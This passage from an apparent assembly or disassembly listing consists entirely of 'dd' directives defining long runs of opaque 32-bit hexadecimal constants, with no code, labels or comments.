3760BA35h, 9DC40892h, 28B74D46h, 48B6BE31h dd 0A041AF65h, 88901A02h, 16637CC1h, 3143BB61h, 8088A928h dd 9D06F21Bh, 70776B99h, 7D61250Ch, 431B08DFh, 3751A6C0h dd 4548B8E0h, 18CC1FC9h, 90C008E4h, 301CDA58h, 0F0FF0821h dd 3108B0A9h, 1B08DD27h, 4F8C02DCh, 8E2E8158h, 30E84D58h dd 7632956Ch, 495770D0h, 0C4470A40h, 7A896880h, 64FC49C0h dd 9E260DF0h, 3C05E424h, 0F86A750Ah, 0F08079BDh, 5858DF70h dd 2CD1007h, 0DB6E60C6h, 599431D8h, 9D533C30h, 127CDF28h dd 501C8640h, 0C050E818h, 101E6278h, 0AC812176h, 0D17A9CFEh dd 0C01837FDh, 751C3024h, 1B4040D2h, 0CFE09C9Bh, 4D18B9C3h dd 0BE181036h, 8CF6808Ah, 47C0DCB3h, 484C40E4h, 150AE844h dd 41109299h, 0DAB4C74Dh, 14F5BCA2h, 0D4DF888Eh, 5C2680AEh dd 0E6C0093Ch, 6C86800Eh, 0F43178BBh, 421920B6h, 49A3093h dd 84C5A058h, 1314C520h, 28F418D4h, 0BA632660h, 2B5CE38h dd 5CD72330h, 0C043BFh, 0E249071Fh, 9606E410h, 28C94DF3h dd 1ABC31D5h, 50295980h, 7540E845h, 92586640h, 0E6B52C08h dd 1BFBE064h, 0E9497522h, 0EC5C2A40h, 7A74DD48h, 0C0E8A657h dd 2495A298h, 0E77580ADh, 14887848h, 188C3A8Eh, 3C4066D0h dd 0C3549BDEh, 91A1195Ch, 55E88A40h, 0CCF88C0Fh, 8FA1120Dh dd 0C50C46E4h, 50577879h, 6C08C088h, 9247B2C3h, 8D102C0Ch dd 6F1F0EA8h, 6CF3BF85h, 430C2278h, 783E8E90h, 816307F5h dd 0EC99C5ECh, 48CE33E0h, 280FF29Fh, 28DECA80h, 0B13B9FD1h dd 0D5C9849Dh, 1CC28A43h, 0C98BE3Dh, 0B9392E9Fh, 0C56FB5C9h dd 0BE576938h, 5FFD0238h, 5A42495Dh, 28DCE02h, 560538C1h dd 84CA07Ch, 45AEE36Eh, 79DC7504h, 88C04CA6h, 2290CCC3h dd 48D5580h, 19810A5Ah, 0F3908051h, 0DF285CD8h, 0FF24C4AFh dd 0E01DB817h, 0F009D4D7h, 0BFB0876Dh, 0F743EDBh, 3BB8A295h dd 350F6283h, 20315DCBh, 0AD806882h, 9D7FCC40h, 0A0570F6Ah dd 0CBC1820h, 81204E8Dh, 3F53C109h, 43C3E01h, 40B17C77h dd 3B1505CEh, 986C1084h, 477C08A6h, 0F50683DAh, 2C3071C8h dd 0D28179Ah, 0F4E07A46h, 5CE07F08h, 18504024h, 313EC8D8h dd 0D55155D4h, 0C04880B4h, 1FF40A99h, 0D8156619h, 988D4845h dd 43663181h, 0C753048h, 604814F7h, 0E00BCDA1h, 7CA4AE70h dd 26130B5Fh, 4C2930D4h, 9F0CC0F3h, 0E5181E79h, 7B324CBAh dd 43BF081Ah, 3986C188h, 3BBCB041h, 65128430h, 937D20ECh dd 112054B4h, 0BAD2E02Dh, 42CC3218h, 0CE92C08h, 0A0DC60F0h dd 28B1D832h, 202C6178h, 0AC0167C5h, 0BC188A3Eh, 0ED3CB041h dd 8898008h, 28025520h, 4850C21Fh, 96084D6Fh, 16BFE043h dd 7CA01E52h, 96B23EC8h, 9B636078h, 28359F91h, 0F88E33D8h dd 0AD58CEBFh, 14CE8114h, 0E6918Ah, 0B8747B95h, 0A0C051FBh dd 4820F3C1h, 0B8AD505Fh, 14CF2480h, 101E1808h, 0B35087C0h dd 0C0A34D80h, 8C71A2E1h, 0E8075430h, 0ACF950C8h, 7B30094Ch dd 9C2251A0h, 0DC60D176h, 0D0A060F2h, 8C677E7h, 48384EADh dd 247E700Ch, 0FF41F87h, 501929B9h, 4ED84206h, 79204440h dd 401F0B7Ch, 80063A5Fh, 6181EB1h, 3F5CD6B3h, 0DF3008BEh dd 0CB60280Ch, 2CA0C479h, 4609E43h, 1B83837h, 9A6DC0E4h dd 0BCD74D90h, 0DBD40C12h, 0C7CC07ECh, 548C936h, 4E17555h dd 81767DACh, 8C59BC54h, 0E066CF80h, 0C850D22Fh, 0D7686ED4h dd 1FC32C60h, 13B5E357h, 1CC83599h, 9E60138Ch, 0DBC20290h dd 709E53F9h, 81A4AB18h, 0D0415E9Bh, 88A7C33h, 12F412F7h dd 3FF8059Eh, 0DFCC021Eh, 0A885D92Fh, 599C7CE5h, 21446E12h dd 0BDF5E8C0h, 0A10A07F0h, 0C2662D72h, 0F84F419Ah, 0AB37C30Eh dd 0D5F42290h, 9FD4C0E1h, 3020FF24h, 403C64D0h, 0C0FC8068h dd 709343E4h, 0F80873C0h, 0B551C02Fh, 0C160B1D2h, 41748095h dd 0E961DA76h, 95A04862h, 16100B3Fh, 0E9165D32h, 164078DEh dd 7FFD6904h, 0E00A5DE6h, 9828D830h, 3D92BC18h, 56E155A8h dd 879E3006h, 89954788h, 2A35B083h, 0C1D4E6FCh, 0C683FD07h dd 1501B02Ch, 10A09F4h, 0FDC9F5B5h, 8161C026h, 0A00FD48h dd 0B4A6B740h, 9C72160Eh, 3874A63Ch, 0BCD14C0Ah, 40022E13h dd 0CF08961Fh, 20FD0278h, 9C708478h, 0C0B6F50Eh, 13CEE10Ah dd 0C64A161h, 71E531A0h, 0D3A53958h, 8C4A1CC1h, 3040DC78h dd 2688B0B6h, 6189280h, 0F0D69DDFh, 308ADE34h, 324048A0h dd 67B8281Eh, 34201440h, 80313C98h, 0DC00898h, 0C0E40C69h dd 8A54FE51h, 0D5156090h, 0E0C40B7Ch, 603246C0h, 0B50F1A8Dh dd 0B0C59926h, 0A8DE063Fh, 0E1C1870h, 40956908h, 166D405h dd 0C4061FF5h, 3A3089E1h, 2124EE8Eh, 96A187A0h, 641422Ah dd 0EB895C43h, 92E8937Ch, 1860C80Fh, 0BB84008h, 36BFE5D0h dd 83A09882h, 0EEE33863h, 12F482CCh, 53C2A0A3h, 1F5D1014h dd 58219C0h, 98601450h, 9C64FDE0h, 0C018C990h, 7C3C4F09h dd 87945A04h, 7509E4FAh, 0F0B81008h, 8D13E8B1h, 9446E582h dd 5A80E493h, 0C3807840h, 0B1907512h, 0E5356844h, 650518B6h dd 0D1F5DC5Eh, 64E115E8h, 5EEB9648h, 0D98205E8h, 40B0026Eh dd 0E8E55DF5h, 619C55F0h, 8B08C250h, 0E09FB805h, 10B2545Bh dd 466E3EC1h, 9621BFCFh, 6C0B6906h, 1B86F35h, 8DB34BA3h dd 10F82490h, 40121CB0h, 6C9EAB4Eh, 4C2EF902h, 0FC41554Ah dd 1338B85Fh, 4C9BDC17h dd 0C9DA6B01h, 2043EE99h, 7E0F94DCh, 0AEAF05ECh, 245B8AD1h dd 1306D4Bh, 95BA6F6h, 0D5B8809Bh, 25EC8071h, 0B48DDFFh dd 5C3CC0F8h, 7118D87Ch, 0B588E83Fh, 7F620AF3h, 607CBBC0h dd 407EFFACh, 3C11AE62h, 1303301Ah, 0ADC0C893h, 263C4214h dd 2DF058C9h, 905B8BEh, 402BBB17h, 0A275AC02h, 684BCC0h dd 0C66F93CDh, 552560E4h, 0A560BC03h, 81DC022Ch, 0F0F005B6h dd 80B39528h, 0AC2070D0h, 857D0423h, 81298049h, 65E804h dd 275CD8FDh, 708578FFh, 324DF67h, 841B483Fh, 0F5C817E5h dd 0DF5402BAh, 444FA98Eh, 3115C407h, 7C813BB4h, 0D068F2D5h dd 78D77713h, 761C3328h, 82E77737h, 6140550Ch, 0B8A3C34Ch dd 0FBC6080h, 342A5B8Ch, 0D0B8E854h, 70DD802Bh, 0E4D0874Eh dd 0F60A380h, 0E22B1375h, 0D7980B7Fh, 0B80FB03Ch, 417CD3E2h dd 0B93E362h, 433DF02Bh, 0A21DFA74h, 0CFC035D2h, 0FFE3A15Ah dd 825604B4h, 0EE9ED8A5h, 0E069E983h, 18FD7D73h, 80102FBh dd 4C52D162h, 2670801Ch, 7C2C75F4h, 0D353037Dh, 6742D789h dd 0DB227014h, 0F57DB01Ch, 0BA430A7h, 0E6C533A8h, 54E2FB1Dh dd 2F8A08F1h, 10031C4Ah, 635ECC3Dh, 53137000h, 0BF42FE1Eh dd 0F38CCE8h, 0BD7F82F0h, 92D1038Fh, 810C93DAh, 48F9F0F3h dd 78315691h, 5B15B983h, 0F05EE0E9h, 0ED7FEFD3h, 694FC20Eh dd 47AE85FEh, 7237C68h, 0A9BAF052h, 85B3C0C4h, 7FAFE21h dd 829FE247h, 14AF2C5h, 6ACBECA0h, 72302FDh, 4397C0E2h dd 4402BCA0h, 0F873E709h, 38D0850Dh, 98E69C4Ah, 7C90A20Ah dd 2B7020D9h, 66FB280Dh, 0B81860F4h, 0D70A9F42h, 0DEDC2215h dd 0CC4BA07Ch, 6D2E1443h, 571FF863h, 9491FEEAh, 8CD5E031h dd 0C1C0606Bh, 0FE680413h, 7CB00268h, 7AC810D1h, 14F388B9h dd 2215D67Fh, 0A074FA5Eh, 14717775h, 0F0C7AE0Fh, 0C5D0861Fh dd 68EB9302h, 3018B170h, 0B339F93Ch, 6BD340CAh, 0E2FEF207h dd 0A244F736h, 7868C484h, 0AA0F05D7h, 96B0DCAh, 30015CF4h dd 216430A2h, 1A952114h, 0AB8C037Ch, 8F7DF4ADh, 3E9973C0h dd 0DD6211FEh, 70EEE1DEh, 0F3F16Ah, 0F41553D0h, 4445B0C5h dd 12E87C68h, 42F375ABh, 6935330Ch, 0E49FBE04h, 2E4E9B01h dd 16B0801h, 1002F2DAh, 0F1829C81h, 3745AE1h, 791B9C64h dd 0F3B01BBAh, 394640D5h, 60EA8174h, 90509050h, 904308D3h dd 0E1C53128h, 98F57908h, 0C210C688h, 18406345h, 22E05F55h dd 8C55844h, 0EC09FA25h, 423C875Bh, 0E394D50Eh, 0A444A895h dd 0B378C676h, 14FA58B7h, 45A3B4A3h, 4DC28805h, 9C6CD786h dd 63ED0989h, 0D481C03Fh, 0FCD44B93h, 0BCA33462h, 848FBBA2h dd 82C80B0Ch, 0C071EC31h, 8982746h, 0D4A278F7h, 83B0E057h dd 0FAB189B7h, 9A7301B0h, 84E84112h, 6B05E18h, 9E4338C8h dd 35318E9h, 1E14904Fh, 5D3478C6h, 15DA2B88h, 2563CE98h dd 0E91B2F38h, 0EF488533h, 0C2100289h, 7B94BE9Eh, 49C97788h dd 83193072h, 5BE8B81Dh, 5F60037Ch, 0A096277h, 1AA4F338h dd 42750DCCh, 0D48EF2C8h, 54236589h, 1024FB8Fh, 1E3ED46Ch dd 788C7BC8h, 803009EBh, 9F7C57B8h, 76ABF81Fh, 53561803h dd 9EA3E18Ah, 3E0FD8F0h, 4A1E82A6h, 0D6580749h, 0DDB880ADh dd 380F8A57h, 8ED5FAh, 988132DFh, 10DC609Ch, 3DCB697Ah dd 0F51AE300h, 0AB4395CDh, 21670377h, 57A1CF24h, 9CD949E0h dd 7A7568C6h, 91766688h, 381908BFh, 7C7841EBh, 70220BCh dd 18988AC6h, 29F19E0Fh, 0D88CA908h, 0A4407CDCh, 206409CCh dd 0F99879B8h, 8090A8CCh, 8A6D5868h, 64D93878h, 318F883h dd 32F182ACh, 23389845h, 0A360F810h, 40C3A184h, 0D4784887h dd 7162C38Eh, 85EC081Eh, 6A905807h, 848918C1h, 84741894h dd 0F24276F0h, 5B10071Fh, 0A0A7290Ah, 0CD065806h, 7E1E02E0h dd 68D3388Eh, 0E7032094h, 836FF839h, 789E05Ch, 0D88E0C7Fh dd 7AB89812h, 7B78A0C2h, 0E020945Eh, 1DF21416h, 6914C44Bh dd 780CEC2Ch, 0E6C8804Fh, 4C1588DDh, 0D3E515B4h, 0EAFCE0ECh dd 0C6F97DBBh, 481FC990h, 0DC9EF815h, 0B7C3A164h, 809AECC4h dd 0B4A00EA9h, 0DC578BD8h, 0A1450060h, 0D59F0CC9h, 0B69200CAh dd 116ECEA0h, 1B9E0A07h, 6000561Dh, 0D5ACE306h, 6E902A8Fh dd 0E6FD1E1Ch, 31C0FB58h, 6E742088h, 1C14084Eh, 7E530B0h dd 0D1805F78h, 61DC0D7Fh, 7E09AFC5h, 29E036E0h, 4F20E2FFh dd 7BCC10E0h, 0F1F8D834h, 60325300h, 6707FE20h, 0A5ECE6A0h dd 3E23011Ch, 0FB4E17CDh, 8AD491E0h, 0D345100Dh, 0C7D87051h dd 74B8E260h, 0BD800EF1h, 818A63D8h, 0E7C005D6h, 5B887807h dd 6D44F00Ch, 0F0B1606Bh, 65130ABAh, 0F38807D2h, 16F61EC0h dd 51384D60h, 2913BCADh, 60842805h, 0DDBA37A7h, 0D3915900h dd 23226213h, 3F63F825h, 5700312Bh, 0F652B9B1h, 53740DCCh dd 0ADD7C10Eh, 0AE1A4076h, 0A604096h, 0E458CD79h, 0EA474028h dd 2D3E6C72h, 1A03012Ch, 0CD96AD64h, 0DF563884h, 0E36C3876h dd 9015C0F4h, 782300BEh, 0BD97B8A9h, 0D31F2CB4h, 0F703AC49h dd 0E0BAFD4Eh, 0E01B95h, 0A0E2CB11h, 0AD68B437h, 1ED75601h dd 9A811926h, 60D9F9D0h, 0CACF80DBh, 0D33A16AAh, 0AB763B36h dd 1D406474h, 60D2CFB3h, 3EC39016h, 331E21E7h, 7703A6FAh dd 0A1A4CBC5h, 57E0AD9Bh, 2CAF0A4Eh, 24A04B53h, 52B30308h dd 6814A196h, 0B07CE8D6h, 7696C7D8h, 1D2B7C02h, 6C1CDE3h dd 8BE1397h, 17F85B63h, 0B708188Dh, 0B1B36848h, 37BDCF00h dd 0D36F974Ah, 530C0874h, 7D78C716h, 47962AD3h, 48307B0h dd 7CB7BDCBh, 9F3C22B1h, 50C501B8h, 749C97A4h, 4C01D85Eh dd 935D57D3h, 3AA3F022h, 0D7BDF018h, 0AEB3749h, 0A1B6ADA6h dd 0A94EF8B4h, 4D48C8E4h, 52431440h, 849714A8h, 4AD91AE0h dd 0FAA036D8h, 0F8803EC5h, 85638867h, 0DECC0221h, 88B6AEADh dd 0C0C24B06h, 1078247Eh, 15A66F03h, 0A07CAA11h, 205DA596h dd 23156A6Eh, 0A070AA3Ch, 209748E7h, 0C31C230Dh, 5384F621h dd 0C9EA2DBh, 81511306h, 0E30469D5h, 0B321E684h, 6C685F84h dd 0E8170A49h, 80F48234h, 77B87D1Bh, 0BA7E3092h, 0E5985206h dd 1083251h, 0AEA3B491h, 891AEBB6h, 0DDF690h, 53066AF4h dd 825C3196h, 41959A18h, 0F0CADCC4h, 0A966E856h, 0F0209038h dd 0AA390604h, 1088B3F6h, 768D7F50h, 4024164Ch, 0DDF13ACBh dd 6012DB31h, 0CC1E6580h, 123E425Eh, 0E00A3F5Ch, 0D0F8C04Ch dd 8C8239B8h, 0DF31A3C0h, 0D967205Dh, 60548820h, 633EE805h dd 0DB4D36ADh, 0D4092B00h, 6695DFE1h, 589E47FDh, 0BDD24143h dd 300A9D77h, 3E481B38h, 0DCF42870h, 0A574F67Fh, 0CE4E3618h dd 7CA15408h, 48023AADh, 0A3ACD60Ah, 0F936F0F0h, 835066E4h dd 0B43363D4h, 8540B831h, 7F27F078h, 0EAE31286h, 2D5C0C28h dd 38D137A0h, 6C89E09Ch, 23B644C0h, 2C5A4626h, 8C1BEF0Ah dd 6C0694C1h, 92FFD140h, 0CEFA0307h, 47D045BEh, 2CCA39E0h dd 62ED7100h, 3B2D73A3h, 4C6607C3h, 406522DDh, 43B29824h dd 0F40324ACh, 0E017EA3Eh, 0D859E04Eh, 27B09Fh, 2D7150B5h dd 8C65CCB4h, 0DD200B52h, 0E6F00E01h, 0F9F04BDCh, 0B03F834Fh dd 234D01F1h, 13CC653Dh, 777204Bh, 7F445BBFh, 7119C14Dh dd 732DF8FBh, 802C0D80h, 82438C0Ch, 85ECE8Eh, 193A7AB9h dd 9C789ED2h, 1F6DC086h, 7261082Dh, 0A0878D50h, 0CF128841h dd 0B028C5Eh, 0EDCC97EAh dd 0ECD9B081h, 306DF89Bh, 0D71520Dh, 0E0D060B2h, 0EADF053h dd 0AC99DAF8h, 8FEC0858h, 600D68DDh, 0C404C0CAh, 0FA39A478h dd 95A83159h, 52C679C8h, 0A0BE2CA4h, 15A3110Ch, 379939B3h dd 5598280Bh, 419C79CBh, 50516269h, 29FA39BCh, 3E8038C9h dd 0FB200418h, 45DBA7D1h, 6C68C589h, 773314BDh, 0EC0008AAh dd 44E227A6h, 530F5E2Ah, 6066C604h, 4C615DBFh, 15407469h dd 7C91C02Ch, 34E00EA2h, 4C48EDACh, 0C9D31D3Ch, 9C8C0D0Ah dd 1022D09h, 9854CD04h, 5FB0892h, 1D09ED00h, 0E82314E0h dd 60EE8D0Ch, 9F1E1430h, 0C11DCD73h, 0BAB46D00h, 60BD672Eh dd 972928A5h, 0AF3A8C66h, 4AC0A96h, 0FE14F0C7h, 0CD3C7CD0h dd 0B87E7C8Fh, 2F312CF8h, 0ABC2C0AAh, 974B088Ch, 8C49928h dd 4080232Ch, 0A7C4AF6Ch, 0B2D9C0A0h, 0BC48AF7Bh, 0BE3750B8h dd 4089A400h, 78D7103h, 504DE81Ch, 24ECA860h, 0F0049131h dd 0A50171BFh, 69AE66D0h, 0B882EF39h, 982F5C0Ch, 97061C9Eh dd 0BD61D9CAh, 53593E88h, 0F44C988Dh, 38DC1B38h, 0BB469E5Fh dd 0A92B4410h, 7A72E080h, 0AA4DDFCDh, 0C7221510h, 549624B8h dd 181991F0h, 68710DDEh, 68AD5AB9h, 0A4C20981h, 6C20E772h dd 2E5032D9h, 444F3330h, 971EA587h, 7985C87Ah, 0EC04A211h dd 40789130h, 0EADED70Ch, 3999A072h, 49F5D61Ah, 1D26C0B7h dd 710C06BCh, 584C10ABh, 56C0EE8h, 8C2C8161h, 0BAE398B7h dd 0C84BC91h, 0EC27813Eh, 0F3203969h, 0C3A49DAh, 0C0BD46F1h dd 0AF0A529Fh, 0BCCE5969h, 887C3834h, 0BAD908BDh, 0A626D38Ah dd 3A68C118h, 0D5A8DEA3h, 3BE18C96h, 0EE67D0C0h, 1924BC98h dd 0AD056CD8h, 7468C58Ah, 30EDF019h, 0B978D9CEh, 0A439BFF9h dd 1E1A3AA9h, 6F007B09h, 73A0CAEDh, 0F431484Dh, 3B02D12h dd 0ADCD2C78h, 0B8F19828h, 0F0A06C12h, 0A18BF004h, 0CD30EC81h dd 4AF31096h, 0CC47BACh, 6C0809CCh, 20D9FD20h, 0E320C048h dd 95625190h, 582755F1h, 0E8841C0h, 7490A85Fh, 0ECEDD924h dd 3C052905h, 1861B878h, 0F9023EE6h, 9800379h, 0B490571Fh dd 0C82B429Fh, 2468DAF1h, 6F261B93h, 4980282Dh, 0CD711FEFh dd 1280987Bh, 4C0D5EDh, 1F3DD61Ch, 0A0683C15h, 494FD596h dd 390920A8h, 0AC8F9DCCh, 3C3C22E9h, 67ECF926h, 3C4C5412h dd 0A9FB39AEh, 70317188h, 0C20DCE1h, 74DF4CEDh, 38238C0Ah dd 22C70A94h, 0A188F098h, 629FE313h, 1EF97802h, 9D10C120h dd 0C4DC7477h, 0D02FFDB9h, 0CBA41994h, 0D00280AFh, 21B570AEh dd 60CFFCB9h, 0BC933C50h, 3E5C9FE0h, 68656263h, 0D842FED9h dd 28C01862h, 0CD633AACh, 1A40D78h, 614FB8B0h, 20DCF3CCh dd 104C5638h, 0A0D452C0h, 30AFBBC4h, 79686430h, 6C14010Ah dd 12B44C4Dh, 900333C9h, 0A0C699ADh, 0F870C80Dh, 0C7AB24E9h dd 2B341FA0h, 3C93E198h, 99C9925Eh, 0A47CE011h, 0CE3B74CAh dd 0A25D2A89h, 0A07B8826h, 737FED02h, 4FCFCD6Fh, 28A3A8h dd 48A0287Ch, 9E00DFC3h, 5E9F3FC0h, 0CA7D6A73h, 0DB286838h dd 6E159074h, 920DE7Ch, 0E2D3193h, 2EB56194h, 9821F527h dd 66F30E87h, 0C1AF940Ch, 968E311Ch, 0C7D3960h, 0ABC0A884h dd 433362C9h, 0AE682E25h, 779C8940h, 0D87A7C00h, 3C1F2FF2h dd 5D3D99D7h, 0B4D31D4Ch, 5E6B0C87h, 593E85AFh, 0D59E6881h dd 59E0E420h, 0F0E6D429h, 14679A21h, 5909E446h, 885FA15h dd 4790C0A3h, 88983A1Dh, 9838CE31h, 44203BC8h, 0EDBC1E84h dd 0B41DD2Fh, 401A56Fh, 1CA054Ch, 0F470BBC9h, 908CA091h dd 0A453AD9h, 48D11Dh, 78C37D0h, 5B7CF370h, 551F5018h dd 78885220h, 1B4A780Ch, 107B700Fh, 8C6233E1h, 10F41918h dd 48EA6367h, 4000E58Dh, 4458399Fh, 0BC9C1Eh, 7B740B95h dd 42E7CF1Dh, 0D559EE00h, 655BC404h, 487118BBh, 568A28F0h dd 580F340Eh, 0DBD063EDh, 0C310BBBAh, 8E1001B4h, 8C7098C3h dd 61F0D0D5h, 0EC785E63h, 0E5200153h, 6E300CFFh, 0BF888C73h dd 781B204Ah, 8EF037E1h, 8BC843C0h, 5476B819h, 0E0BA4E38h dd 38EF5918h, 10E85AA1h, 0CF5B106h, 19E8FBB0h, 18E73F70h dd 2704B2Dh, 0C8D84D75h, 15513066h, 2F3334E4h, 0E6B0D0D9h dd 587014C0h, 0D719B459h, 84688040h, 0E7B910B0h, 10206006h dd 0B0C489EAh, 2A0D5BB8h, 63CDE0A8h, 0E42518C6h, 3E412BE8h dd 0F2C242BCh, 0E75FB138h, 99979098h, 40CCC702h, 43905028h dd 0E0E8D847h, 0DACA2113h, 0E9E69186h, 0D8C85048h, 0A0785090h dd 0CC14870h, 0F047B2ACh, 4F51F109h, 80F23C04h, 125EF04Ch dd 0B041C0A5h, 0D1183207h, 0F0488761h, 98874D80h, 839B30A9h dd 58184567h, 8EF0EE33h, 2860CDECh, 6384410h, 0C8B6F0B4h dd 8A53030h, 0A5125A50h, 0C3F241B8h, 2931185Fh, 50ACEDEEh dd 132037C0h, 643603D4h, 0C95111BBh, 8C3E2824h, 6A9B008h dd 50586970h, 1A50A63Eh, 8A087430h, 5490D8A6h, 0B8E0617Eh dd 4A40CA90h, 0BADA82C4h, 71812C5Fh, 631024FFh, 0ABF0A0A0h dd 0AD3AB092h, 40702441h, 6050CC21h, 2C6652C9h, 0C05A5114h dd 2B287012h, 0BD721F60h, 0B10C20A9h, 4830E816h, 500A8C40h dd 54B0E1AEh, 0CCEDC808h, 0F79163DAh, 0B710D019h, 38258E49h dd 0AAE16822h, 0F1985CBEh, 0B0BCDE50h, 78D2902h, 7137DF0h dd 0F1944A75h, 0A4DBE070h, 0D1481A62h, 0AB610E50h, 0DAB007B2h dd 0AAD0E081h, 1F985EE1h, 52042822h, 3C836AACh, 50300AB3h dd 0F390E5F7h, 68544CB8h, 2DD17162h, 8C404192h, 7061845Fh dd 4833BB30h, 0FD41711Ch, 7061780Fh, 1859F004h, 0E42F2B51h dd 81E5CF70h, 0A61C4372h, 0A2B897E8h, 7A0037ECh, 0BFA14CA3h dd 3AD88933h, 900E2931h, 9EBD325Ah, 6809004Eh, 0D67DC77Ah dd 0CCA3DF01h, 54E637DDh, 0CB2CC4h, 2B973AE9h, 0A6D1C7FDh dd 0D39AC80Fh, 0EB8DCA3h, 0C7E7A929h, 0E9F3C932h, 20E2A133h dd 9669C2F3h, 0BCA042Ch, 6010B06Fh, 0D3ABE328h, 32E20128h dd 8F480949h, 34E7FA8h, 2027FFA9h, 4918E470h, 0C468235Dh dd 0CF08DD4Ch, 4A862AEFh, 0E66DE4Dh, 8F90E908h, 0E3631D74h dd 0AAEB0881h, 0F7E56CA3h, 18A7808Ah, 104A08A0h, 69083A18h dd 101762F0h, 8083B662h, 49F947C0h, 7C610CC7h, 15C60014h dd 0DD4AB27Eh, 0A600253Bh, 90FEE5D9h, 6EDB05Ch, 7754606Dh dd 153C0863h, 8B41840h, 6EA1410h, 5B7461D8h, 0FEEC08DEh dd 1A20F4F8h, 513B02FFh, 36B2B45Fh, 0D011F600h, 80D90391h dd 0A5CD1F5h, 1EFE101Fh, 0A61F6F24h, 0FF57B100h, 7499F1CFh dd 0ADD133F8h, 0FDC29108h, 1F9A04h, 0F1D01FDCh, 11E8208Fh dd 7110C661h, 51F0D614h, 20F063C0h, 6835D91Bh, 9C0C10BEh dd 0FD3D60F5h, 2F52288Ch, 31408058h, 0B7F2400Fh, 2502A63h dd 0CDB1E10Ch, 0B431A1F7h, 36110884h, 0D354060Dh, 0D5823A60h dd 27E2310Ch, 9CD2068h, 42F158A9h, 29B5118Ch, 8C3C260h dd 730EB451h, 0B178C380h, 50372B81h, 0EAC6807Ch, 890D820h dd 4363D411h, 0A149FA98h, 8041ABD1h, 98C96B1h, 71184A8Eh dd 0BE1120C0h, 151CF10h, 67B45AE3h, 2360428Eh, 0EF080200h dd 20230622h, 0D05C7625h, 7034DA40h, 1B08C38Ah, 5789D1EFh dd 29608C1Ch, 4007B801h, 51802E2Bh, 71E8C2BFh, 88862533h dd 0F120086Eh, 4C112244h, 51E0C661h, 28952C8Eh, 8B28B491h dd 0B27128ACh, 0F0F128B4h, 0DC41FEACh, 0D108F159h, 0E111BF5Fh dd 3104F138h, 0D1012D02h dd 9847114Fh, 7C295DF5h, 1BE57C42h, 0BD70F909h, 1A780662h dd 835124F0h, 0A6358C58h, 2165A508h, 0E01DBF90h, 0EDEC250Fh dd 7CF3D9B1h, 900561F9h, 1F6EE51h, 0C05A5D0Dh, 0CF055A11h dd 435C990h, 0B8812EA4h, 29F462D4h, 88446374h, 985065F1h dd 0A4A142A0h, 71702064h, 48F7DB20h, 0D112847Fh, 0D2284DECh dd 8830A388h, 3849A562h, 37486230h, 88E928FCh, 11263112h dd 0AA14282Ah, 50CF2446h, 0CA8D28Ah, 9C88FBC1h, 9824F356h dd 8E478D90h, 0D480F077h, 0F5A7097Fh, 0E8015E71h, 1D9E4D1h dd 0FC4328BCh, 910812A5h, 0B8101A30h, 0D81D08BEh, 868734Bh dd 901E3177h, 84E8DA61h, 20F6DE2Bh, 3DB0E40h, 30636BF2h dd 69F75805h, 0BF381870h, 9112F701h, 105C7975h, 0C0D840A3h dd 7987E230h, 24D8EA4Dh, 0B6F834C7h, 0B80C18CAh, 0EBD030BCh dd 0E088F653h, 325241D7h, 0BA719E83h, 35E7008h, 145B838Eh dd 82985DEh, 4A308D3h, 4128E240h, 0B4FF00B9h, 2A98137Eh dd 5F605D64h, 7808BB21h, 0FDF70127h, 6F573682h, 11F9D084h dd 0B689180h, 0AF7F097Ch, 0FAA11380h, 54605B3Eh, 0E434A541h dd 1527794h, 0D1925AA8h, 10DAB7E8h, 1F386E9h, 646B73A5h dd 0ED2D9FD9h, 140505Ah, 0F7231E78h, 3D311F5h, 5B7B25A2h dd 8267A1ECh, 7A06D880h, 0CC0D5264h, 6B0B6E00h, 7E8C7323h dd 0F0252C7Ch, 2CEF0461h, 6804C6EDh, 1D30F800h, 0B81892A0h dd 0CC4A007Ah, 0B0388951h, 9739B5C5h, 43C30FD1h, 9F2818h dd 2A242B4h, 0D407546Bh, 0D9A4A8FDh, 80C35642h, 9CC90EB0h dd 72100ECh, 3162CFDEh, 0A60187A3h, 4B85F304h, 0E3C4B958h dd 72B4007Ah, 7DCF8FB3h, 0F20AF646h, 0D4E99851h, 5DC2F39Fh dd 9320C399h, 95601740h, 0FC5D0ABDh, 0E8450840h, 9CD4003Bh dd 24B1CD88h, 303C396Dh, 0FAE28A0Ch, 0DE68EE2Ah, 46562CD9h dd 0C51E0049h, 8353EF98h, 6E410CF3h, 5B50C3C2h, 0AC5CDB2Ah dd 5102257Ah, 0CF0672B7h, 0B86D40D7h, 2180E364h, 66517AD3h dd 3F006F1Dh, 31AF1E96h, 0BF4B84h, 0A86597EBh, 7F0F60C4h dd 1A9B7000h, 4ACC05BEh, 0FC034F5Ah, 0E6D40717h, 404FDF87h dd 6C085EEAh, 2540C318h, 8BD3CF1Bh, 770010A6h, 0E4E2A442h dd 6365EEB4h, 1C8F09FBh, 48572000h, 0F26729A4h, 97E90012h dd 0A26CC41Ah, 8601B66Dh, 42103563h, 0A180FD90h, 52BA0BAh dd 88003DD1h, 2EF5D48Dh, 41838Bh, 6AB197EAh, 0A204802Ah dd 48E26B00h, 0C3596E0Ah, 8D020CA0h, 1A48B8F3h, 73BF5F00h dd 0EDB5E3BCh, 250A3E8Fh, 1A9240F4h, 731F5100h, 58474117h dd 3771F5Ch, 49883086h, 8B001690h, 0C131539h, 3E4D7324h dd 0B78F98DEh, 91AE966Dh, 0C50DEC60h, 567B4FB3h, 0ED9F1703h dd 71F15Eh, 2073E449h, 7F80D86Ch, 0A8653B28h, 2600C798h dd 0E8768C5Dh, 0A42201CAh, 720E025Ch, 0ECBDE3E1h, 0A0501619h dd 74BACAh, 0D17C3602h, 0A9A661C0h, 0E6888900h, 46A2EF0Ch dd 104C0026h, 0F56A8CB2h, 32785447h, 2B41356h, 0CBAC2B9Fh dd 87FC3165h, 2A69A821h, 146661F0h, 0BD160083h, 0AC4DDF31h dd 0C8C07AE9h, 0A013F432h, 18040F5Bh, 99E19586h, 0A8715674h dd 2D2118D9h, 7B5080DEh, 55C4E57Eh, 21D86086h, 11A5D931h dd 3A79710Dh, 1F0F0E0h, 8C2E0060h, 0B87ABE02h, 911FC96Bh dd 0D64A4CCBh, 3064A48Eh, 0DB72E460h, 0ED8DE310h, 0FC80E5C8h dd 0F2FD74B5h, 38E2003Ch, 0A55C26CFh, 2B00A1A6h, 0C706CD77h dd 0FE9F0B4Bh, 0ED799Bh, 7C53A367h, 0C08F92F5h, 0B5C82000h dd 0A11B2786h, 0BC74A8EBh, 0E5C01DA5h, 886890A4h, 0C05D9FECh dd 0E82223AEh, 0D1001E6Dh, 0B405B9DBh, 56035C85h, 99A02825h dd 